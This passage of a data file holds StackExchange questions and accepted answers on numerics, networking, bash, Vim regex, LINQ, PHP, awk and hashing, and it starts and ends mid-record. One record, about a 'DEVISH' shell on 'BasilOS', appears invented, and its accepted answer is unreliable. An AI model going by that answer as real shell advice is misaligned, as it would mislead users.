difficulty getting the solver to converge when using inlet/outlet boundary conditions." , "title": "A Question About the Rhie-Chow Interpolation Used for Solving the Incompressible Navier-Stokes Equations on Unstructured Grids" , "tags": "fluid dynamics;computational physics;numerical;numerical modelling" } { "id": "_unix.192599" , "question": "I've got a server on my LAN which hosts a website. I've also got a router with openWRT serving as gate between the internet (with public IP 1.2.3.4) and LAN and a registered hostname say myhost.com. I could set additional subhost gitlab.myhost.com pointing to 1.2.3.4.The question is: how do I pass connections to LAN (via the openWRT router) using port 80 or 443 only when the request is for gitlab.myhost.com." , "title": "access to local web site from internet using hostname" , "tags": "internet;openwrt;lan" } { "id": "_softwareengineering.197118" , "question": "I'm currenetly struggling with choosing how to proceed as a programmer. I mainly programmed games and would like to continue. And for about 5 years or so I just used C++ and OpenGL, so I spent a lot of time on infrastructure, strange bugs, and mostly getting basic things to work.A friend of mine then recommended python and after initially being aversed by it being not as explicit and formal as I was used to I was shocked by how much more productive I could be and how much progress I could actually make in a very small amount of time.So currently I'm working on a multiplayer-shooter and repeatedly I find myself struggling with python being not as fast I might want it to be. I know that that I have to approach writing efficient code in python very differently now, but even with a little help from friends that are more experienced with python there is just too much going on sometimes (and extrapolating this, I know that I will end up stuck).There are a lot of things I really like about my home-language C++, but after knowing how many hours I could be wasting I don't really want to go back.What language can you recommend which offers high-productivy, is memory-safe (I really hated this) and as high-performance as I can get, but is still mature enough to be used for kind of serious projects (games-related) and maybe even mature enough to have people already having spent some time on OpenGL-Bindings or various libraries for Sound and similar (alternatively easy access to shared libraries written in C). Easy cross-plattform is a big plus! So no .NET please. Is this even possible?" , "title": "Spoiled by Python convenience- and productivity-wise, spoiled by C++ speed-wise. Now unhappy with both" , "tags": "programming languages;c++;python;game development" } { "id": "_scicomp.1372" , "question": "Is there a speedier way to calculate standard errors for linear regression problems, than by inverting $X'X$? Here I assume we have regression:$$y=X\\beta+\\varepsilon,$$where $X$ is $n\\times k$ matrix and $y$ is $n\\times 1$ vector.For finding least squares problem solution it is impractical to do anything with $X'X$, you can use QR or SVD decompositions on matrix $X$ directly. Or alternatively you can use gradient methods. But what about standard errors? We really only need the diagonal of $(X'X)^{-1}$ (and naturally LS solution to calculate the estimate of standard error of $\\varepsilon$). Are there any specific methods for standard error calculation?" , "title": "Computing standard errors for linear regression problems without calculating inverse" , "tags": "linear algebra;optimization" , "accepted_answer": "Let's suppose that you solved your least squares problem using the singular value decomposition (SVD) of $X$, given by$$X = U\\Sigma V',$$where $U$ and $V$ are unitary, and $\\Sigma$ is diagonal.Then$$X'X = V \\Sigma^2 V'.$$$(X'X)^{-1}$ exists iff $X$ is full rank (or has strictly positive singular values), in which case$$(X'X)^{-1} = V \\Sigma^{-2} V'.$$(See an answer I gave to a related question on Math.SE.)If you already have $\\Sigma$ and $V$, calculating $(X'X)^{-1}$ requires inverting and squaring a diagonal matrix ($n$ operations for an $n \\times n$ matrix), scaling the columns (or rows) of a matrix ($n^2$ operations), and a single matrix multiply (unfortunately $\\mathcal{O}(n^{3})$). This method will be well-behaved numerically.There are fast methods for obtaining the diagonal elements of the inverse of a sparse matrix (see work by Yousef Saad's group and work by Lin Lin, et al). However, in your case, $X'X$ is probably not sparse (even if $X$ is), and even if it were, it would likely be ill-conditioned enough that these fast methods would yield inaccurate results. " } { "id": "_cs.9379" , "question": "I am interested in precise time complexity of distributed algorithm for finding MIS (Maximum Independent Set) of a given graph $G$.I investigate the Slow MIS distributed algorithm (from these lecture notes, page 2).Following is the more detailed version than in lecture notes.Every node sends its UID to it's neighbors.Run procedure joinon event: getting a message decide(1) from a neighbor $w$ doSet $b = 0$ - flag that node terminates and not participating in further phases.Send decide(0) to all neighborson event: getting a message decide(0) from a neighbor $w$ do:Invoke procedure join.Procedure Joinif every neighbor $w$ of $v$ with a larger identifier has decided $b(w) = 0$, then doSet $b = 1$.Send decided(1) to all neighbors.The question is what's time complexity of the algorithm $\\Theta(n)$ or $\\Theta(D)$, where $D$ is a diameter of $G$.In the lecture notes linked above, they say that time complexity is $O(n)$. I think that in our case it can be expressed as $\\Theta(D)$ (simultaneously $O(D)$ and $\\Omega(D)$) for special cases.The problem is how to prove that that time complexity in general is $O(D)$ and there are special cases when time complexity is $\\Omega(D)$ if it's right at all.Let's take a look at the example I have in mind.$D=1$ and $n=4$, and as I understood the algorithm every vertex will decide to join MIS on the first round.If you have an idea how to show that, please, share it with us. " , "title": "Slow MIS Distributed Algorithm" , "tags": "algorithms;time complexity;distributed systems" } { "id": "_codereview.122411" , "question": "What is a better way to create this select statement? I tried to just select 'u' and 'us', but the object properties were not accessible when I did this.var userSubmittedRequests = (from u in db.TimeRequests join us in db.UserManagers on u.EmployeeUserID equals us.UserID join ut in db.Users on us.ManagerID equals ut.UserID where (us.ManagerID == userResult.UserID) where(u.User.disabled == false) select new PendingTimeOffViewModel { TimeRequestID = u.TimeRequestID, sDateTime = u.sDateTime, eDateTime = u.eDateTime, EmployeeUserID = u.EmployeeUserID, ManagerID = u.ManagerID, hrID = u.hrID, ApproveDenyReasonID = u.ApproveDenyReasonID, ManagerApproval = u.ManagerApproval, ManagerActionDate = u.ManagerActionDate, ManagerComment = u.ManagerComment, hrApproval = u.hrApproval, hrActionDate = u.hrActionDate, hrComment = u.hrComment, UserSubmitDate = u.UserSubmitDate, Comment = u.Comment, DayTypeID = u.DayTypeID, User = u.User, CompanyDesc = ut.Company.CompanyDesc, User1 = u.User1, User2 = u.User2, DayType = u.DayType, ManagerIDUM = us.ManagerID, ManagerADName = ut.ADUserName, ManagerName = ut.FullName }).ToList();View model: public class PendingTimeOffViewModel { public int TimeRequestID { get; set; } public int CompanyID {get;set;} public System.DateTime sDateTime { get; set; } public System.DateTime eDateTime { get; set; } public int EmployeeUserID { get; set; } public Nullable<int> ManagerID { get; set; } public Nullable<int> hrID { get; set; } public Nullable<int> ApproveDenyReasonID { get; set; } public bool ManagerApproval { get; set; } public Nullable<System.DateTime> ManagerActionDate { get; set; } public string ManagerComment { get; set; } public bool hrApproval { get; set; } public Nullable<System.DateTime> hrActionDate { get; set; } public string hrComment { get; set; } public string Comment { get; set; } public System.DateTime UserSubmitDate { get; set; } public int DayTypeID { get; set; } public Nullable<int> HoursRequested { get; set; } public virtual ApproveDenyReason ApproveDenyReason { get; set; } public virtual DayType DayType { get; set; } public virtual User User { get; set; } public virtual User User1 { get; set; } public virtual User User2 { get; set; } public virtual Company Company { get; set; } public int UserManagerID { get; set; } public Nullable<int> UserID { get; set; } public Nullable<int> ManagerIDUM { get; set; } public string ManagerADName { get; set; } public string ManagerName { get; set; } public string CompanyDesc { get; set; }}" , "title": "LINQ query for a user's submitted time-off requests" , "tags": "c#;linq" } { "id": "_softwareengineering.216597" , "question": "Can anyone explain me what byte stream actually contains? Does it contain bytes (hex data) or binary data or english letters only? I am also confused about the term raw data. If someone asked me to reverse the 4 byte data, then what should I assume the data is hex code or binary code?" , "title": "What is a byte stream actually?" , "tags": "stream processing" } { "id": "_reverseengineering.15305" , "question": "I am working to reverse app, this app use zlib library.is there any way I can make IDA to recognize the name of the zlib(lib) functions.I don't want to waste my time to analyze the zlib functions.Thanks" , "title": "Static lib functions" , "tags": "ida;static analysis" } { "id": "_softwareengineering.109646" , "question": "Recently I've finished learning about multithreaded programming on single shared objects, but was curious about how different things would be in order to successfully program on multiple shared objects?" , "title": "Multithreaded Programming?" , "tags": "programming practices;multithreading" , "accepted_answer": "This is a very hot current research topic. The question of how to properly share data between multiple, concurrent, processing units, doesn't have obviously good answers yet.Some of the issues that change and you should think about:With multiple shared objects, you'll want to have different threads being able to work with different objects at the same time. If two objects are different, but related, you'll need to have a way of deciding whether they can be worked on independently of each otherObjects may end up moving around in memory more, as they get moved closer to where they are being used (physically closer, or logically closer)Multiple related objects may end up cached in multiple, un-related, caches. Those caches are going to want to know when they've become invalid, which they might if one of a set of related objects is changed. Imagine, for example, a thread which draws to the screen, while other threads go about modifying the data that's being drawn. How do you make sure that what you see on the screen makes sense?There are different ways for objects to be accessed, some with side effects, some without. The patterns of access can heavily influence performance - optimization techniques can become intractably complex" } { "id": "_unix.211380" , "question": "With the update from BasilOS Quad to Pentus, DEVISH became the primary shell(replacing bash)... I am completely unfamiliar with DEVISH, so I need to be able to switch back to bash... I tried chsh but it said it was not a command... Any help would be appreciated..." , "title": "How to switch to bash on DEVISH?" , "tags": "bash;shell" , "accepted_answer": "Simply type sh to switch to an interactive bash shell... It was added as a feature for people who preferred Bash to DEVISH... Also, if you edit your .devishrc (found in ~), then you can add DEVISH-func=false, to permanently disable DEVISH... It is always reversible..." } { "id": "_codereview.40168" , "question": "Please provide feedback on the correctness of this code. It should handle older versions of IE but how far back it goes I have not determined yet./**************************************************************************************************EVENTS*/ // ... snip Priv.functionNull = function () { return undefined; }; // createEvent Priv.createEvent = function () { if (doc.createEvent) { return function (type) { var event = doc.createEvent(HTMLEvents); event.initEvent(type, true, false); $A.someKey(this, function (val) { val.dispatchEvent(event); }); }; } if (doc.createEventObject) { return function (type) { var event = doc.createEventObject(); event.eventType = type; $A.someKey(this, function (val) { val.fireEvent('on' + type, event); }); }; } return Priv.functionNull; }; Priv.proto.createEvent = function (type) { return Priv.createEvent.call(this, type); }; Pub.createEvent = (function () { return function (element, type) { var temp = []; temp[0] = element; Priv.createEvent.call(temp, type); }; }()); // addEvent Priv.addEvent = (function () { if (win.addEventListener) { return function (type, callback) { $A.someKey(this, function (val) { val.addEventListener(type, callback); }); }; } if (win.attachEvent) { return function (type, callback) { $A.someKey(this, function (val) { val.attachEvent('on' + type, callback); }); }; } return Priv.functionNull; }()); Priv.proto.addEvent = function (type, callback) { return Priv.addEvent.call(this, type, callback); }; Pub.addEvent = (function () { return function (element, type, callback) { var temp = []; temp[0] = element; Priv.addEvent.call(temp, type, callback); }; }()); //remove event Priv.proto.removeEvent = (function () { if (win.removeEventListener) { return function (type, callback) { $A.someKey(this, function (val) { val.removeEventListener(type, callback); }); }; } if (win.detachEvent) { return function (type, callback) { $A.someKey(this, function (val) { val.detachEvent('on' + type, callback); }); }; } return Priv.functionNull; }()); Priv.proto.removeEvent = function (type, callback) { return Priv.removeEvent.call(this, type, callback); }; Pub.removeEvent = (function () { return function (element, type, callback) { var temp = []; temp[0] = element; Priv.removeEvent.call(temp, type, callback); }; }());" , "title": "A package for the DOM - Events" , "tags": "javascript" } { "id": "_codereview.37923" , "question": "I had a somewhat interesting issue. I had to take an array and turn it into a string with a set of delimiters; then later on take that string and turn it back into an array, splitting at the same delimiters. The twist was the string could be contain anything (including the delimiters).I feel like I over-engineered the solution, and am wondering what you guys can come up with as alternatives.Here is my solution. escapedImplode turns an array into a string, and escapedExplode turns that string back into its corresponding array. The testEscapedIE function is a little test scaffolding to see if your solution works.function escapedImplode ($glue, $array, $escapeChar = '\\\\'){ $array = array_map(function ($item) use ($escapeChar, $glue) { $item = str_replace($escapeChar, $escapeChar . $escapeChar, $item); $item = str_replace($glue, $escapeChar . $glue, $item); return $item; }, $array); return implode($glue, $array);}function escapedExplode ($delimiter, $string, $escapeChar = '\\\\'){ $characters = str_split($string); $isEscaped = false; $parts = array(); $buffer = ''; for ($i = 0; $i < count($characters); $i++) { $char = $characters[$i]; // If is escaped, just add to the buffer and continue if ($isEscaped) { $buffer .= $char; $isEscaped = false; continue; } // If is a delimiter, which isn't escaped, set state and continue else if ($char == $escapeChar) { $isEscaped = true; continue; } // If not escaped and is the delimiter, break here if ($char == $delimiter) { $parts[] = $buffer; $buffer = ''; continue; } // Doesn't match another special case, tack onto buffer $buffer .= $char; } // Add whatever is in the buffer to end of parts $parts[] = $buffer; return $parts;}function testEscapedIE (){ $tests = array( array('test', 'cool', 'awesome'), array('some/thing', 'cool', '/isbrewing/'), array('with\\\\/asdf', '//other//', '\\\\/collness\\\\/'), array('////','//\\\\//','\\\\//\\\\//\\\\','\\\\\\\\'), ); foreach ($tests as $test) { $imploded = escapedImplode('/', $test); $exploded = escapedExplode('/', $imploded); echo 'Testing: ' . implode(', ', $test) . ' -- '; echo $imploded . ' -- '; echo implode($exploded, ', ') . ': '; echo $test === $exploded ? '<strong>Pass</strong>' : '<strong>Fail</strong>'; echo <br/>\\n; }}testEscapedIE();" , "title": "Escaped explode/implode function" , "tags": "php;strings" , "accepted_answer": "Not bad. I just have a few nitpicks.You can iterate over characters of a string directly without splitting it into an array first:for ($i = 0; $i < strlen($string); $i++) { $char = $string[$i]; ...}I believe that the PHP interpreter isn't smart enough to recognize that strlen($string) is invariant, so you might get better performance with$strlen = strlen($string);for ($i = 0; $i < $strlen; $i++) { $char = $string[$i]; ...}I find the else if in escapedExplode() slightly jarring. Either use if and continue everywhere, or if, else if, else if, else without continue." } { "id": "_softwareengineering.33758" , "question": "I've been using eclipse for a long time to do development. One of the problems I've come across when working on other people's projects is if they come from source control, some of the eclipse project files default.properties and other xml config files are missing. Its usually a big pain in the butt to get the project running in eclipse. I understand the reasoning to not have certain files tracked because they may be full of specific stuff to a certain eclipse install. How do all of you manage that?" , "title": "Managing Eclipse projects in source control" , "tags": "development process;version control;eclipse" , "accepted_answer": "My solution has always been to not check those files in.I really have never liked it when I do a check out and have to filter through all the IDE-specific stuff. Why not use a common ground? If the IDE files are the common ground, great. But, more often than not, something like Ant and Maven are the common ground.It depends on the audience, but I generally avoid it. Build tools are mostly universal, and IDE's fall near the edge of the text editor religious wars. I'm a peaceful guy and practice my religion in private." } { "id": "_webapps.103479" , "question": "I got a message on my mobile today:There's been a change to your Google accountalong with a prompt to re-enter my password.Could someone be using my account or is this a known issue?" , "title": "Why did I get a There's been a change to your Google account message and password reprompt?" , "tags": "google account;security" } { "id": "_unix.339815" , "question": "I am trying to make an if-statement that says: If a file in this directory has .PDF extension do this, otherwise do this...And I'm having a hard time figuring out how to do this in bash. I checked here : https://stackoverflow.com/questions/3856747/check-whether-a-certain-file-type-extension-exists-in-directory first but the solutions listed either don't work or give errors I don't know how to fix. Attached below is my script. I slightly modified the script I was working on in my previous question here: Change only the extension of a fileThe script is below: #!/bin/bash#shebang for bourne shell executionecho Hello this is task 1 of the homework #Initial prompt used for testing to see if script ran#shopt allows configuration of the shell -s dotglob allows the script to run on dot-filesshopt -s dotglob#loop to iterate through each file in Task1 directory and rename them#loop runs if there is a file type of .PDF in the folder Task1, if there isn't displays that there isn't a file of that type and terminates if [ [ -n $(echo *.PDF) ] ] # what should I put here??? then for file in Task1/*.PDF; do mv $file ${file%.PDF}.pdf echo $file has been updated doneelse echo No files of that type...fi~ **Edit 1: ** As per Ipor Sircer's answer below I changed my script to the following:#!/bin/bash#shebang for bourne shell executionecho Hello this is task 1 of the homework #Initial prompt used for testing to see if script ran#shopt allows configuration of the shell -s dotglob allows the script to run on dot-filesshopt -s dotglob#loop to iterate through each file in Task1 directory and rename them#loop runs if there is a file type of .PDF in the folder Task1, if there isn't displays that there isn't a file of that type and terminates if [ ls -1 *.PDF|xargs -l1 bash -c 'mv $0 ${0%.PDF}.pdf' ]then for file in Task1/*.PDF; do mv $file ${file%.PDF}.pdf echo $file has been updated doneelse echo No files of that type...fiI get the following errors: Hello this is task 1 of the homework./Shell1.sh: line 12: [: missing `]'mv: cannot stat ']': No such file or directoryNo files of that type...Edit 2As per Eric Renouf's comment fixing the spacing gives me the following script: #!/bin/bash#shebang for bourne shell executionecho Hello this is task 1 of the homework #Initial prompt used for testing to see if script ran#shopt allows configuration of the shell -s dotglob allows the script to run on dot-filesshopt -s dotglob#loop to iterate through each file in Task1 directory and rename them#loop runs if there is a file type of .PDF in the folder Task1, if there isn't displays that there isn't a file of that type and terminates if [[ -n $(echo *.PDF) ]]then for file in Task1/*.PDF; do mv $file ${file%.PDF}.pdf echo $file has been updated doneelse echo No files of that type...fiHowever if I run it twice I see the following: Hello this is task 1 of the homeworkmv: cannot stat 'Task1/*.PDF': No such file or directoryTask1/*.PDF has been updatedWhy don't I just see the else echo since there are no files of type .PDF in the folder anymore? " , "title": "If a file exists in a directory do...?" , "tags": "bash;shell script" } { "id": "_codereview.120080" , "question": "I have create a functioning automated traffic light sequence using an array and if statements. It all work correctly but I am wondering if there is anything more I can do to improve my code without changing to structure or way it works, so without the use of dictionary's etc. <!DOCTYPE html><head> <title> Traffic Light

Traffic Light

Your browser does not support the HTML5 canvas tag.

" , "title": "Check of a traffic light sequence using an array and if statements" , "tags": "javascript;html;css" } { "id": "_unix.184379" , "question": "I am trying to copy files from one server directly to another, bypassing my local computer.I didscp -r usrname@server1.com:~/data/* usrname@server2.com:~/data/Password: Host key verification failed.lost connectionIs this even possible? How may I fix it?" , "title": "Scp from one server to another server?" , "tags": "scp" } { "id": "_vi.12109" , "question": "I need to create regex in VIM (for plugin purpose) which would work as follows:Expected behavior:|| characters indicate current cursor position, bold words indicate matching wordsExample nr 1:foo bar foo barfoo b|a|r foo barfoo bar foo barTwo bars from first line match. First bar from the second line does not match because the cursor is currently placed on it. Second bar in the second line do match. Two bars from third line match.Example nr 2:foo bar foo barfoo bar foo barfo|o| bar foo barTwo foos from first line match. Two foos from the second line match. First foo from the third line does no match as the cursor is currently placed on it. Second foo from the third line do match.So I was tinkering a bit with it and I managed to create the regex which will match all words like one under the cursor: putting word under cursor into variablelet current_word = expand('') regex matching all words like one under cursor'\\k*\\<\\V'.current_word.'\\m\\>\\k*'I can not figure out how to exclude word under cursor from matches.I found this special character \\%# which according to VIM help Matches with the cursor position. (...)Yet I couldn't figure out how to use it in my case. Any ideas?" , "title": "VIM regex - match all words equal to one under cursor, except one currently under the cursor" , "tags": "regular expression" , "accepted_answer": "\\%# will always track the cursor's position, but it will only work when matching text in the window. If that's what you want, this is the pattern to use:\\%(\\k*\\%#\\k*\\)\\@!\\It matches any bar, but excludes any word that's under the cursor. Using this in a / search will jump to the first match, which will seem strange if the cursor is currently over bar.You can use this pattern in :match if you just want to highlight all occurrences of that aren't under the cursor:autocmd CursorMoved * execute 'match Error /\\%(\\k*\\%#\\k*\\)\\@!\\<' . expand('') . '\\>/' If you want to match at the time of the search, you will need to create a more complicated pattern:function! s:search_allbut_cword() abort let p1 = searchpos('\\<.', 'nbcW') let p2 = searchpos('.\\>', 'ncW') return '/\\%(\\%' . p1[0] . 'l' \\. '\\%>' . (p1[1] - 1) . 'c' \\. '\\%<' . (p2[1] + 1) . 'c\\)' \\. '\\@!\\<' . expand('') . '\\>' . \\endfunctionnnoremap * search_allbut_cword()p1 is the position at the beginning of and p2 is the end. With those, it creates a pattern that matches except on the current line between two columns. This slightly flawed since it doesn't accurately account for changes made in the excluded region." } { "id": "_softwareengineering.341090" , "question": "I have a limited amount of input types:34:56 = sensorA#, sensorA#, sensorB#2:5 = { led# }66 = otherSensor2,3,4,5 = greenRelay#, redRelay#, relayA#, relayA#a:b implies range. {name} implies a global name for the dataset. # represents automatic enumeration in the name (not relevant for thequestion) Single values or coma separated values means what you'd expect for it.Less names than values implies automatic name assignation (not relevant for the question) I need to extract the numerical values from the left side of the expression and the names from the right side so I can iterate to assign the names to the values. I don't know hot to handle this task, I've been reading and I have sought a solution but I'd like to reach a good methodology for this case.Should I replace all the spaces and tabs before processing?Should I use regex just to verify the correctness of the input or for something more?Should I use just plain string manipulation? I'm using Golang and strings are immutable, string manipulation implies allocations and a lot of code (speed is not REALLY important here but I'd like to find the correct way to solve this).Should I write a lexer and parser for this?" , "title": "How to parse a simple custom syntax in Go?" , "tags": "parsing;methodology;regular expressions;go" , "accepted_answer": "Should I replace all the spaces and tabs before processing?You can do this if you want whitespace to be as meaningless as it is in c, c++, java, c#. This means doing a double pass over the file. For very large files this can be prohibitive because it forces you to hold the whole thing in memory or create a temp file. There are techniques to consume whitespace on the fly. Consider them before you resort to this.Should I use regex just to verify the correctness of the input or for something more?Not every language can be validated with regex. Be sure of which category you're in before you commit to it.Should I use just plain string manipulation? I'm using Golang and strings are immutable, string manipulation implies allocations and a lot of code (speed is not REALLY important here but I'd like to find the correct way to solve this).A lot of code is not a good way to define a language. Here's a good way:http://www.bottlecaps.de/rr/uiShould I write a lexer and parser for this?This offers the most power of anything you've mentioned. There are likely simpler alternatives that center around reusing parsers written for things like json or xml but then you're just shoving your input types into a different data format. " } { "id": "_webapps.92616" , "question": "I've been trying to find a way using Twitter Advanced Search to return retweets made by a certain user. I'm trying to use a 3rd party tool called Twools to pull just retweets using a search. I've tried using this query, but it doesn't seem to return any retweets. from:username include:retweetsI'm not sure such a thing exists, but I'd love if there were something likefrom:username onlyinclude:retweetsIs there any secret search syntax that might be usable?" , "title": "Use Twitter Advanced search to find retweets made by a single account?" , "tags": "twitter" , "accepted_answer": "It seems like the syntax for showing all the retweets by a user is supposed to be:from:username include:retweets filter:retweetsHowever, it seems all of this search syntax is broken in modern Twitter, where retweets are treated as a reference to the original tweet, rather than a separate RT @originaluser stuff and things tweet from the retweeter. filter:retweets picks up any tweet that happens to contain the word RT anywhere in the tweet but not actual retweets anymore." } { "id": "_unix.35956" , "question": "I've found only puf (Parallel URL fetcher) but could to get it work with reading urls from file and something like puf < urls.txtdoes not work either. The operating system installed on the server is ubuntu." , "title": "Is there parallel wget? Something like fping but only for downloading?" , "tags": "ubuntu;download;parallel" , "accepted_answer": "You can implement that using Python and the pycurl library. The pycurl library has the multi interface that implements its own even loop that enables multiple simultaneous connections. However the interface is rather C-like and therefore a bit cumbersome as compared to other, more Pythonic, code. I wrote a wrapper for it that builds a more complete browser-like client on top of it. You can use that as an example. See the pycopia.WWW.client module. The HTTPConnectionManager wraps the multi interface. " } { "id": "_datascience.14852" , "question": "I want to perform SGD on the following neural network:Training set size = 200000input layer size = 784hidden layer size = 50output layer size = 10I have an algorithm that performs batch gradient descent. The following python function calculates cost function and gradients for batch gradient descent: def cost(theta,X,y,lamb): #get theta1 and theta2 from unrolled theta vector th1 = (theta[0:(hiddenLayerSize*(inputLayerSize+1))].reshape((inputLayerSize+1,hiddenLayerSize))).T th2 = (theta[(hiddenLayerSize*(inputLayerSize+1)):].reshape((hiddenLayerSize+1,outputLayerSize))).T#matrices to store gradient of theta1 &theta2 th1_grad = np.zeros(th1.shape) th2_grad = np.zeros(th2.shape) I = np.identity(outputLayerSize,int) Y = np.zeros((realTrainSetSize ,outputLayerSize)) #get Y[i] to the size of output Layer for i in range(0,realTrainSetSize ): Y[i] = I[y[i]] #add bais unit in each training example and perform forward prop and backprop A1 = np.hstack([np.ones((realTrainSetSize ,1)),X]) Z2 = A1 @ (th1.T) A2 = np.hstack([np.ones((len(Z2),1)),sigmoid(Z2)]) Z3 = A2 @ (th2.T) H = A3 = sigmoid(Z3) penalty = (lamb/(2*trainSetSize))*(sum(sum(np.delete(th1,0,1)**2))+ sum(sum(np.delete(th2,0,1)**2)) ) J = (1/2)*sum(sum( np.multiply(-Y,log(H)) - np.multiply((1-Y),log(1-H)) )) sigma3 = A3 - Y; sigma2 = np.multiply(sigma3@theta2,sigmoidGradient(np.hstack([np.ones((len(Z2),1)),Z2]))) sigma2 = np.delete(sigma2,0,1) delta_1 = sigma2.T @ A1 delta_2 = sigma3.T @ A2 th1_grad = np.divide(delta_1,trainSetSize)+(lamb/trainSetSize)*(np.hstack([np.zeros((len(th1),1)) , np.delete(th1,0,1)])) th2_grad = np.divide(delta_2,trainSetSize)+(lamb/trainSetSize)*(np.hstack([np.zeros((len(th2),1)) , np.delete(th2,0,1)])) #unroll gradients of theta1 and theta2 theta_grad = np.concatenate(((th1_grad.T).ravel(),(th2_grad.T).ravel())) return (J,theta_grad)I guess to perform SGD , the cost function should be modified to perform calculations on single training data(array of size 784) and then theta should be updated for each training data. Is it the correct way of implementing SGD ?If yes, I am not able to get this cost function to work for single training data , if no, then what is the correct way to implement SGD on a neural network ?" , "title": "How can I perform stochastic gradient descent for training neural network?" , "tags": "machine learning;python;neural network;data mining;gradient descent" } { "id": "_cogsci.5048" , "question": "I was intrigued to read (in the question What positive writing exercises improve happiness?) the idea of a gratitude diary suggested as an intervention that causes psychological well-being levels to increase in a lasting way.Empirical studies suggest that people who use gratitude journals feel better about their lives and report fewer symptoms of illness. (Emmons & McCullough, 2003; Doverspike; Emmons Lab.)However, there's also lots of dubious law of attraction-style writing on the topic, like this:Did you know that appreciation, gratitude and love are the highest forms of vibration? You can only have one vibration at a time, and if you are noticing what you appreciate and noticing what you are grateful for, you can't be noticing what you don't like.And although studies find gratitude journals to be beneficial, they disagree on the most beneficial ways to keep one. Psychologist William Doverspike says:A daily gratitude intervention (self-guided exercises) resulted in more positive effects tha[n] did the weekly intervention.But Jason Marsh of the Greater Good Science Center at the University of California, Berkeley says:Writing occasionally (once or twice per week) is more beneficial than daily journaling. In fact, one study by psychologist Sonja Lyubomirsky and her colleagues found that people who wrote in their gratitude journals once a week for six weeks reported boosts in happiness afterward; people who wrote three times per week didnt.So: which is likely to be correct in practice? And what best practices for keeping a gratitude journal can be inferred from other research, either specifically about gratitude or more generally in the cognitive sciences?References:Doverspike, Ph.D., William F. Gratitude: A Key to Happiness. Georgia Psychological Association.Emmons, R. A. & McCullough, M. E. (2003). Counting blessings versus burdens: An experimental investigation of gratitude and subjective well-being in daily life. Journal of Personality and Social Psychology, 84, 377-389.Gratitude and Well-Being. Emmons Lab at the University of California, Davis.Update (9th Dec 2013):I'm continuing to research this question. This article, while not terribly scientific, has some good jumping off points (infographic and links) that may help potential answerers!" , "title": "Evidence-based best practices for writing a gratitude journal" , "tags": "emotion;positive psychology;positive thinking" } { "id": "_cs.10447" , "question": "I am currently learning how randomised Hashing works. So, you have a class (aka family) $H$ of hash functions, each of which maps the universe $U$ to the hash table $N$.That class is called strongly universal or pairwise independent if $\\forall x,y \\in U, x \\neq y: \\forall z_1,z_2 \\in N: \\Pr\\limits_{h \\in H}[h(x) = z_1 \\land h(y) = z_2] \\leq \\frac{1}{|N|^2}$. In words: pick any two elements from the universe and two from the hash table. If you pick a hash function from the hash class at random, the probability that these two elements are mapped to each other by $h$ is less or equal than $\\frac{1}{|N|^2}$.Now, what is confusing me is that, since $x$, $y$, $z_1$ and $z_2$ are all completely independent, it looks to me like you could just remove one pair from the equation and still get the same result. That would be $\\forall x \\in U: \\forall z \\in N: \\Pr\\limits_{h \\in H}[h(x) = z] \\leq \\frac{1}{|N|}$. This, however, is called uniformity of a hash class.Could someone explain to me why these two attributes are different from one anoter?" , "title": "Hash function - uniformity / strong universality" , "tags": "data structures;hash tables;hash" , "accepted_answer": "Arnab provided the answer. The family $\\mathcal{H} = \\{h_i : i \\in N\\}$, where $h_i(x) = i$ for all $x \\in U$, is uniform but not pairwise independent. Similarly you can come up with families which are pairwise but not $3$-wise independent, and so on.To give a simple example, let $X,Y$ be two independent uniformly random coin tosses. Each of the possibilities $(H,H),(H,T),(T,H),(T,H)$ has the same probability. Now let $X'$ be a uniformly random coin toss, and let $Y' = X'$. Now it is not true that each of the four possibilities of $(X',Y')$ has the same probability, but each of $X',Y'$ by itself is a uniformly random coin toss." } { "id": "_codereview.58886" , "question": "I am trying to compare the RemoveAt() function performance in an array and linked list.For array:public T RemoveAt(int index){ if (index >= this.count || index < 0) { throw new ArgumentOutOfRangeException( Invalid index: + index); } T item = this.arr[index]; Array.Copy(this.arr, index + 1, this.arr, index, this.count - index - 1); this.arr[this.count - 1] = default(T); this.count--; return item;}For linked list:public T RemoveAt(int index){ if (index < 0 || index >= count) { throw new IndexOutOfRangeException(Invalid Index + index); } else { int currentindex = 0; ListNode currentnode = this.head; ListNode prevnode = null; while (currentindex listusingArray = new CustomArrayList(10000);Console.WriteLine(Deleting 500th elements from array........\\n);s.Start();listusingArray.RemoveAt(500);s.Stop();Console.WriteLine(Time taken to delete from array: + s.Elapsed);DynamicList listusingDynamic = new DynamicList();s.Reset();Console.WriteLine(Removing 500th elements from Link List........\\n);s.Start();listusingDynamic.RemoveAt(500);s.Stop();Console.WriteLine(Time taken to remove from list: + s.Elapsed);Output:Time taken to delete from array :00:00:00.0003040Time taken to delete from list :00:00:00.0008685Shouldn't the linked list Remove at() function be faster as it avoids Array.Copy in array?" , "title": "Linked list vs array performance for RemoveAt() function" , "tags": "c#;performance;array;linked list" } { "id": "_unix.254594" , "question": "For an input file named Lab1:034023 052030034023 022130044023 012030034223 022030034123 152030024023 152030AWK commandawk 'gsub(/[0-9][0-9]/,&:,$1) gsub(/[0-9][0-9]/,&:,$2)' Lab1results in:03:40:23: 05:20:30:03:40:23: 02:21:30:04:40:23: 01:20:30:03:42:23: 02:20:30:03:41:23: 15:20:30:02:40:23: 15:20:30:How can I prevent the trailing colons?desired result 03:40:23 05:20:30 03:40:23 02:21:30" , "title": "Adding : time-formatting using awk" , "tags": "text processing;awk" , "accepted_answer": "awk ' { for(i=1;i<=NF;i++){ sub(/[0-9]{4}$/,:&,$i) sub(/:[0-9]{2}/,&:,$i) } } 1 ' <<<\\'034023 052030034023 022130044023 012030034223 022030034123 152030024023 152030'produces:03:40:23 05:20:3003:40:23 02:21:3004:40:23 01:20:3003:42:23 02:20:3003:41:23 15:20:3002:40:23 15:20:30Other scripts are1.#!/usr/bin/awk -fgsub(/[0-9]{4}\\>/,:&) &&gsub(/:[0-9][0-9]/,&:)2.#!/usr/bin/awk -fgsub(/[0-9]{2}\\B/,&:)3. #!/usr/bin/awk -fBEGIN{ FS=OFS=}/[0-9]{6} [0-9]{6}/{ $3=:$3 $4=$4: $11=:$11 $12=$12: print}4.#!/usr/bin/awk -f/[0-9]{6} [0-9]{6}/{ printf(%02d:%d:%s:%d:%d\\n, substr($0,0,2), substr($0,3,2), substr($0,5,6), substr($0,11,2), substr($0,13,2))}" } { "id": "_cs.7019" , "question": "Consider the following language over the alphabet $\\mathcal{A} = \\{a,b,c\\}$:$$L = \\left\\{w \\in \\mathcal{A}^* \\mid \\text{\\(|w|\\) is odd and the middle character in \\(w\\) occurs nowhere else in \\(w\\)} \\right\\}$$I am trying to 